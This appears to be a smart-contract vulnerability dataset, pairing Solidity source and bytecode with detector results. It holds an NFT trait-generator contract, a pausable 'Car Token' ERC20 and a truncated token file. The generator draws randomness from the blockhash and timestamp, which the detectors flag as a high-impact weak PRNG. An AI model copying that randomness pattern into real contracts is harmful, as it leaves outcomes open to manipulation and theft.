20: "wild"
21: "seek"
22: "foundations"
23: "i will not"
24: "feel"
25: "flow"
26: "landing"
27: "japan"
28: "teamwork"
29: "Jelly"
30: "joa1"
31: "joa2"
32: "tiger roar"
33: "shadows"
34: "catch"
35: "passion"
36: "cylces"
37: "poetry"
38: "lucky"
39: "classical"
40: "trust"
41: "circles"
42: "live"
43: "around the world"
44: "now is it"
45: "wants"
46: "h20"
47: "rotations"
48: "lust"
49: "bloom"
50: "desires"
51: "eyes"
52: "dna2"
53: "triple"
54: "virgin"
55: "steal"
56: "spiral"
57: "monaco"
58: "growl33"
59: "bigmac"
60: "loyalty"
61: "jazz"
BODIES
01: "film"
02: "juice"
03: "power"
04: "trip"
05: "smooth"
06: "electric"
07: "scarecrow"
08: "boring"
09: "stinna"
10: "whawha"
11: "shimmer"
12: "space"
13: "gold"
14: "rock out"
15: "style"
16: "blueberry"
17: "bronze"
18: "chalk"
19: "positivity"
20: "orange juice"
21: "favorite"
22: "pompom"
23: "fruity"
24: "spacemen"
25: "maroon"
26: "black"
27: "poem"
28: "reckless"
29: "solve"
30: "victory"
31: "launch"
32: "greenboy"
33: "flowers"
34: "spacegirl"
35: "chance"
36: "raspberry"
37: "again"
38: "family"
39: "round about"
40: "goldandblue"
41: "give"
42: "take"
43: "want"
44: "taste"
45: "lebron"
46: "pinnochio"
47: "celtic"
48: "stay"
49: "yellow"
50: "impossible"
51: "goldy "
52: "mission"
53: "blackberry"
54: "gorgy"
55: "gardens"
56: "recent"
57: "loop"
58: "emerald"
59: "teach"
60: "home"
61: "new"
62: "rivers"
EARS
01: "ruby"
02: "on"
03: "turquoise"
04: "hotpink"
05: "blueboy"
06: "tight"
07: "squeeze"
08: "send"
09: "trips"
10: "lemonade"
11: "solve it"
12: "balls"
13: "floppy"
14: "relax"
15: "exits"
16: "lust"
17: "Love"
18: "weak"
19: "ask"
20: "jingle"
21: "vox"
22: "dizzy"
23: "black"
24: "sweep"
25: "commit"
26: "harvard"
27: "ucla"
28: "stanford"
29: "boston"
30: "please"
31: "tricks"
32: "treats"
33: "play"
34: "electric"
35: "soul"
36: "heart"
37: "intense"
38: "inject"
39: "eject"
40: "creamy"
41: "drive"
42: "fly"
43: "cruise"
44: "glide"
45: "work"
46: "wonder"
47: "please"
48: "visions"
49: "fantsies"
50: "molasses"
VISORS
01: "crush"
02: "rubies"
03: "emeralds"
04: "sapphire"
05: "wings"
06: "midnight"
07: "teeth"
08: "matisse"
09: "chrome"
10: "spaceboy"
11: "roll"
12: "Sirrichard"
13: "pinky"
14: "rush"
15: "onyx"
16: "when"
17: "treat"
18: "marble"
19: "reruns"
20: "tiptoe"
21: "meadow"
22: "modesty"
23: "smooth"
24: "more"
25: "fluff"
26: "lightning"
27: "prince"
28: "windows"
29: "girlz"
30: "dexter"
31: "blossom"
32: "straight"
33: "growling"
34: "chalkboards"
*/
contract Generator {
uint[] public backgroundWeights = [
0.0161e18,
0.0161e18,
0.008e18,
0.0161e18,
0.0241e18,
0.0161e18,
0.0241e18,
0.008e18,
0.0161e18,
0.008e18,
0.0241e18,
0.0241e18,
0.008e18,
0.0161e18,
0.0241e18,
0.0241e18,
0.0161e18,
0.0161e18,
0.008e18,
0.004e18,
0.0241e18,
0.0241e18,
0.0161e18,
0.008e18,
0.0161e18,
0.0161e18,
0.0241e18,
0.008e18,
0.0161e18,
0.0161e18,
0.0241e18,
0.008e18,
0.008e18,
0.0264e18,
0.0241e18,
0.008e18,
0.0161e18,
0.0241e18,
0.0161e18,
0.0161e18,
0.0161e18,
0.0161e18,
0.0161e18,
0.0161e18,
0.0241e18,
0.0241e18,
0.008e18,
0.0241e18,
0.0241e18,
0.0241e18,
0.0002e18,
0.0161e18,
0.0241e18,
0.004e18,
0.0161e18,
0.0241e18,
0.0161e18,
0.0161e18,
0.0161e18,
0.0002e18,
0.0161e18
];
uint public backgroundTotalWeight;
uint[] public bodiesWeights = [
0.0074e18,
0.0222e18,
0.0074e18,
0.0222e18,
0.0074e18,
0.0222e18,
0.0074e18,
0.0074e18,
0.0222e18,
0.0222e18,
0.0222e18,
0.0074e18,
0.0222e18,
0.0074e18,
0.0148e18,
0.0222e18,
0.0222e18,
0.0222e18,
0.0148e18,
0.0222e18,
0.0222e18,
0.0148e18,
0.0148e18,
0.0222e18,
0.0222e18,
0.0037e18,
0.0037e18,
0.0222e18,
0.0222e18,
0.0222e18,
0.0222e18,
0.0222e18,
0.0037e18,
0.0222e18,
0.0037e18,
0.0074e18,
0.0222e18,
0.0222e18,
0.0222e18,
0.0148e18,
0.0222e18,
0.0148e18,
0.0222e18,
0.0222e18,
0.0037e18,
0.0222e18,
0.0148e18,
0.0148e18,
0.0074e18,
0.0037e18,
0.0074e18,
0.0222e18,
0.0148e18,
0.0222e18,
0.0074e18,
0.0222e18,
0.0074e18,
0.0222e18,
0.0148e18,
0.0074e18,
0.0222e18,
0.0222e18
];
uint public bodiesTotalWeight;
uint[] public earsWeights = [
0.02e18,
0.02e18,
0.02e18,
0.02e18,
0.02e18,
0.02e18,
0.02e18,
0.02e18,
0.02e18,
0.02e18,
0.02e18,
0.02e18,
0.02e18,
0.02e18,
0.02e18,
0.02e18,
0.02e18,
0.02e18,
0.02e18,
0.02e18,
0.02e18,
0.02e18,
0.02e18,
0.02e18,
0.02e18,
0.02e18,
0.02e18,
0.02e18,
0.02e18,
0.02e18,
0.02e18,
0.02e18,
0.02e18,
0.02e18,
0.02e18,
0.02e18,
0.02e18,
0.02e18,
0.02e18,
0.02e18,
0.02e18,
0.02e18,
0.02e18,
0.02e18,
0.02e18,
0.02e18,
0.02e18,
0.02e18,
0.02e18,
0.02e18
];
uint public earsTotalWeight;
uint[] public visorsWeights = [
0.0072e18,
0.0072e18,
0.0144e18,
0.0144e18,
0.0072e18,
0.0144e18,
0.0144e18,
0.0144e18,
0.0144e18,
0.0432e18,
0.0432e18,
0.0144e18,
0.0144e18,
0.0432e18,
0.0432e18,
0.0144e18,
0.0144e18,
0.0432e18,
0.0144e18,
0.0432e18,
0.0719e18,
0.0719e18,
0.0072e18,
0.0719e18,
0.0432e18,
0.0144e18,
0.0432e18,
0.0144e18,
0.0432e18,
0.0072e18,
0.0432e18,
0.0432e18,
0.0432e18,
0.0432e18
];
uint public visorsTotalWeight;
uint public constant LAST_NFT = 11111;
uint public constant ONE_OF_ONE_COUNT = 25;
uint[] public oneOfOne;
uint public seedBlock;
uint public seed;
uint nonce;
constructor() {
seedBlock = block.number + 10;
uint backgroundBuf;
for(uint i = 0; i < backgroundWeights.length; i++) {
backgroundBuf+= backgroundWeights[i];
}
backgroundTotalWeight = backgroundBuf;
uint bodiesBuf;
for(uint i = 0; i < bodiesWeights.length; i++) {
bodiesBuf+= bodiesWeights[i];
}
bodiesTotalWeight = bodiesBuf;
uint earsBuf;
for(uint i = 0; i < earsWeights.length; i++) {
earsBuf+= earsWeights[i];
}
earsTotalWeight = earsBuf;
uint visorsBuf;
for(uint i = 0; i < visorsWeights.length; i++) {
visorsBuf+= visorsWeights[i];
}
visorsTotalWeight = visorsBuf;
}
function generateOneOfOne() public {
require(blockhash(seedBlock) != bytes32(0), "too early or expired");
require(oneOfOne.length == 0, "already generated");
seed = uint(keccak256(abi.encodePacked(blockhash(seedBlock), tx.gasprice, block.timestamp)));
for(uint i = 0; i < ONE_OF_ONE_COUNT; i++) {
nonce++;
uint _random = uint(keccak256(abi.encode(seed, nonce))) % LAST_NFT + 1;
//exclude lost NFT
if(_random == 6127) {
i--;
continue;
}
oneOfOne.push(_random);
}
// check for duplicates
for(uint i = 0; i < ONE_OF_ONE_COUNT; i++) {
uint item = oneOfOne[i];
uint count = 0;
for(uint j = 0; j < ONE_OF_ONE_COUNT; j++) {
if(oneOfOne[j] == item) {
count++;
}
if(count > 1) {
//remove all array and try again
oneOfOne = new uint[](0);
return;
}
}
}
}
function getNFTData(uint _tokenId) public view returns(uint[] memory res) {
res = new uint[](5);
for(uint i = 0; i < oneOfOne.length; i++) {
if(_tokenId == oneOfOne[i]) {
res[4] = i + 1;
return res;
}
}
//0 - background
//1 - body
//2 - ear
//3 - visor
//4 - oneOfOne
res[0] = getRandomBackground(_tokenId) + 1;
res[1] = getRandomBody(_tokenId) + 1;
res[2] = getRandomEar(_tokenId) + 1;
res[3] = getRandomVisor(_tokenId) + 1;
res[4] = 0;
}
function getRandomBackground(uint _tokenId) public view returns(uint) {
uint rnd = random(_tokenId, backgroundTotalWeight);
for(uint i = 0; i < backgroundWeights.length; i++) {
if(rnd < backgroundWeights[i]) {
return i;
}
rnd -= backgroundWeights[i];
}
return 0;
}
function getRandomBody(uint _tokenId) public view returns(uint) {
uint rnd = random(_tokenId, bodiesTotalWeight);
for(uint i = 0; i < bodiesWeights.length; i++) {
if(rnd < bodiesWeights[i]) {
return i;
}
rnd -= bodiesWeights[i];
}
return 0;
}
function getRandomEar(uint _tokenId) public view returns(uint) {
uint rnd = random(_tokenId, earsTotalWeight);
for(uint i = 0; i < earsWeights.length; i++) {
if(rnd < earsWeights[i]) {
return i;
}
rnd -= earsWeights[i];
}
return 0;
}
function getRandomVisor(uint _tokenId) public view returns(uint) {
uint rnd = random(_tokenId, visorsTotalWeight);
for(uint i = 0; i < visorsWeights.length; i++) {
if(rnd < visorsWeights[i]) {
return i;
}
rnd -= visorsWeights[i];
}
return 0;
}
function random(uint _tokenId, uint _maximum) public view returns (uint) {
return uint(keccak256(abi.encode(seed, _tokenId))) % _maximum;
}
}
|
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c80637e29bc3c116100ad578063b57527fe11610071578063b57527fe14610228578063be5af4611461023b578063cfa9cd241461024e578063cfafffd014610257578063ecc02d5c1461026a57600080fd5b80637e29bc3c146101e6578063a12aab06146101ef578063a9dd122514610202578063aa96a38b14610215578063b388a4631461021e57600080fd5b80634b0ab818116100f45780634b0ab8181461019c57806356f7e73a146101af57806376e84e57146101c25780637ceeae0f146101ca5780637d94792a146101dd57600080fd5b806307aa3010146101315780630ad4c4f4146101575780633386b53f1461017757806337168bfd1461018057806342bb20e614610189575b600080fd5b61014461013f366004610996565b610273565b6040519081526020015b60405180910390f35b61016a610165366004610996565b610294565b60405161014e91906109d1565b61014460075481565b61014460015481565b610144610197366004610996565b61041e565b6101446101aa366004610996565b6104af565b6101446101bd366004610996565b610536565b610144601981565b6101446101d8366004610996565b6105bd565b610144600a5481565b61014460055481565b6101446101fd366004610996565b6105cd565b6101446102103660046109af565b610654565b610144612b6781565b61022661069f565b005b610144610236366004610996565b610906565b610144610249366004610996565b610916565b61014460035481565b610144610265366004610996565b610926565b61014460095481565b6008818154811061028357600080fd5b600091825260209091200154905081565b60408051600580825260c082019092526060916020820160a08036833701905050905060005b60085481101561032b57600881815481106102d7576102d7610aae565b9060005260206000200154831415610319576102f4816001610a15565b8260048151811061030757610307610aae565b60200260200101818152505050919050565b8061032381610a5b565b9150506102ba565b506103358261041e565b610340906001610a15565b8160008151811061035357610353610aae565b602002602001018181525050610368826105cd565b610373906001610a15565b8160018151811061038657610386610aae565b60200260200101818152505061039b82610536565b6103a6906001610a15565b816002815181106103b9576103b9610aae565b6020026020010181815250506103ce826104af565b6103d9906001610a15565b816003815181106103ec576103ec610aae565b60200260200101818152505060008160048151811061040d5761040d610aae565b602002602001018181525050919050565b60008061042d83600154610654565b905060005b6000548110156104a5576000818154811061044f5761044f610aae565b9060005260206000200154821015610468579392505050565b6000818154811061047b5761047b610aae565b9060005260206000200154826104919190610a2d565b91508061049d81610a5b565b915050610432565b5060009392505050565b6000806104be83600754610654565b905060005b6006548110156104a557600681815481106104e0576104e0610aae565b90600052602060002001548210156104f9579392505050565b6006818154811061050c5761050c610aae565b9060005260206000200154826105229190610a2d565b91508061052e81610a5b565b9150506104c3565b60008061054583600554610654565b905060005b6004548110156104a5576004818154811061056757610567610aae565b9060005260206000200154821015610580579392505050565b6004818154811061059357610593610aae565b9060005260206000200154826105a99190610a2d565b9150806105b581610a5b565b91505061054a565b6002818154811061028357600080fd5b6000806105dc83600354610654565b905060005b6002548110156104a557600281815481106105fe576105fe610aae565b9060005260206000200154821015610617579392505050565b6002818154811061062a5761062a610aae565b9060005260206000200154826106409190610a2d565b91508061064c81610a5b565b9150506105e1565b600081600a5484604051602001610675929190918252602082015260400190565b6040516020818303038152906040528051906020012060001c6106989190610a76565b9392505050565b600954406106eb5760405162461bcd60e51b81526020600482015260146024820152731d1bdbc819585c9b1e481bdc88195e1c1a5c995960621b60448201526064015b60405180910390fd5b6008541561072f5760405162461bcd60e51b8152602060048201526011602482015270185b1c9958591e4819d95b995c985d1959607a1b60448201526064016106e2565b60095460408051914060208301523a9082015242606082015260800160408051601f198184030181529190528051602090910120600a5560005b601981101561083f57600b805490600061078283610a5b565b91905055506000612b67600a54600b546040516020016107ac929190918252602082015260400190565b6040516020818303038152906040528051906020012060001c6107cf9190610a76565b6107da906001610a15565b9050806117ef14156107f957816107f081610a44565b9250505061082d565b600880546001810182556000919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee301555b8061083781610a5b565b915050610769565b5060005b60198110156109035760006008828154811061086157610861610aae565b906000526020600020015490506000805b60198110156108ed57826008828154811061088f5761088f610aae565b906000526020600020015414156108ae57816108aa81610a5b565b9250505b60018211156108db5760408051600081526020810191829052516108d491600891610936565b5050505050565b806108e581610a5b565b915050610872565b50505080806108fb90610a5b565b915050610843565b50565b6004818154811061028357600080fd5b6000818154811061028357600080fd5b6006818154811061028357600080fd5b828054828255906000526020600020908101928215610971579160200282015b82811115610971578251825591602001919060010190610956565b5061097d929150610981565b5090565b5b8082111561097d5760008155600101610982565b6000602082840312156109a857600080fd5b5035919050565b600080604083850312156109c257600080fd5b50508035926020909101359150565b6020808252825182820181905260009190848201906040850190845b81811015610a09578351835292840192918401916001016109ed565b50909695505050505050565b60008219821115610a2857610a28610a98565b500190565b600082821015610a3f57610a3f610a98565b500390565b600081610a5357610a53610a98565b506000190190565b6000600019821415610a6f57610a6f610a98565b5060010190565b600082610a9357634e487b7160e01b600052601260045260246000fd5b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fdfea2646970667358221220efdfebfcdd897eb1f0015bc1674b8d6308881a354ff4816f926414f9073fdf1a64736f6c63430008060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 9,312 |
0x9ce18a060e876505fd6b066f5ba13e74e44643f5
|
pragma solidity ^0.4.21;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
/**
* @title Car Token
* @dev CarChain.
*/
contract CarToken is PausableToken {
string public name = "Car Token";
string public symbol = "CAR";
uint public decimals = 18;
uint public INITIAL_SUPPLY = 700000000000000000000000000;
function CarToken() public {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
}
|
0x6060604052600436106100f05763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100f5578063095ea7b31461017f57806318160ddd146101b557806323b872dd146101da5780632ff2e9dc14610202578063313ce567146102155780633f4ba83a146102285780635c975abb1461023d578063661884631461025057806370a08231146102725780638456cb59146102915780638da5cb5b146102a457806395d89b41146102d3578063a9059cbb146102e6578063d73dd62314610308578063dd62ed3e1461032a578063f2fde38b1461034f575b600080fd5b341561010057600080fd5b61010861036e565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561014457808201518382015260200161012c565b50505050905090810190601f1680156101715780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018a57600080fd5b6101a1600160a060020a036004351660243561040c565b604051901515815260200160405180910390f35b34156101c057600080fd5b6101c8610437565b60405190815260200160405180910390f35b34156101e557600080fd5b6101a1600160a060020a036004358116906024351660443561043d565b341561020d57600080fd5b6101c861046a565b341561022057600080fd5b6101c8610470565b341561023357600080fd5b61023b610476565b005b341561024857600080fd5b6101a16104f5565b341561025b57600080fd5b6101a1600160a060020a0360043516602435610505565b341561027d57600080fd5b6101c8600160a060020a0360043516610529565b341561029c57600080fd5b61023b610544565b34156102af57600080fd5b6102b76105c8565b604051600160a060020a03909116815260200160405180910390f35b34156102de57600080fd5b6101086105d7565b34156102f157600080fd5b6101a1600160a060020a0360043516602435610642565b341561031357600080fd5b6101a1600160a060020a0360043516602435610666565b341561033557600080fd5b6101c8600160a060020a036004358116906024351661068a565b341561035a57600080fd5b61023b600160a060020a03600435166106b5565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104045780601f106103d957610100808354040283529160200191610404565b820191906000526020600020905b8154815290600101906020018083116103e757829003601f168201915b505050505081565b60035460009060a060020a900460ff161561042657600080fd5b6104308383610750565b9392505050565b60005481565b60035460009060a060020a900460ff161561045757600080fd5b6104628484846107bc565b949350505050565b60075481565b60065481565b60035433600160a060020a0390811691161461049157600080fd5b60035460a060020a900460ff1615156104a957600080fd5b6003805474ff0000000000000000000000000000000000000000191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60035460a060020a900460ff1681565b60035460009060a060020a900460ff161561051f57600080fd5b610430838361093e565b600160a060020a031660009081526001602052604090205490565b60035433600160a060020a0390811691161461055f57600080fd5b60035460a060020a900460ff161561057657600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600354600160a060020a031681565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104045780601f106103d957610100808354040283529160200191610404565b60035460009060a060020a900460ff161561065c57600080fd5b6104308383610a38565b60035460009060a060020a900460ff161561068057600080fd5b6104308383610b33565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a039081169116146106d057600080fd5b600160a060020a03811615156106e557600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b6000600160a060020a03831615156107d357600080fd5b600160a060020a0384166000908152600160205260409020548211156107f857600080fd5b600160a060020a038085166000908152600260209081526040808320339094168352929052205482111561082b57600080fd5b600160a060020a038416600090815260016020526040902054610854908363ffffffff610bd716565b600160a060020a038086166000908152600160205260408082209390935590851681522054610889908363ffffffff610be916565b600160a060020a038085166000908152600160209081526040808320949094558783168252600281528382203390931682529190915220546108d1908363ffffffff610bd716565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b600160a060020a0333811660009081526002602090815260408083209386168352929052908120548083111561099b57600160a060020a0333811660009081526002602090815260408083209388168352929052908120556109d2565b6109ab818463ffffffff610bd716565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b6000600160a060020a0383161515610a4f57600080fd5b600160a060020a033316600090815260016020526040902054821115610a7457600080fd5b600160a060020a033316600090815260016020526040902054610a9d908363ffffffff610bd716565b600160a060020a033381166000908152600160205260408082209390935590851681522054610ad2908363ffffffff610be916565b600160a060020a0380851660008181526001602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610b6b908363ffffffff610be916565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600082821115610be357fe5b50900390565b60008282018381101561043057fe00a165627a7a72305820b9a4451ceed7c434b1e704eff848f7ed1401f0420f0f1cdad35a14b0ff717e1e0029
|
{"success": true, "error": null, "results": {}}
| 9,313 |
0x58c49dc320adcadf2f2e0eadf8b2a3842af31617
|
/**
*Submitted for verification at Etherscan.io on 2021-12-14
*/
// SPDX-License-Identifier: GNU GPLv3
pragma solidity >=0.8.0;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
abstract contract IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() virtual public view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) virtual public view returns (uint balance);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function zeroAddress() virtual external view returns (address){}
/**
* @dev Returns the zero address.
*/
function transfer(address to, uint tokens) virtual public returns (bool success);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) virtual public returns (bool success);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
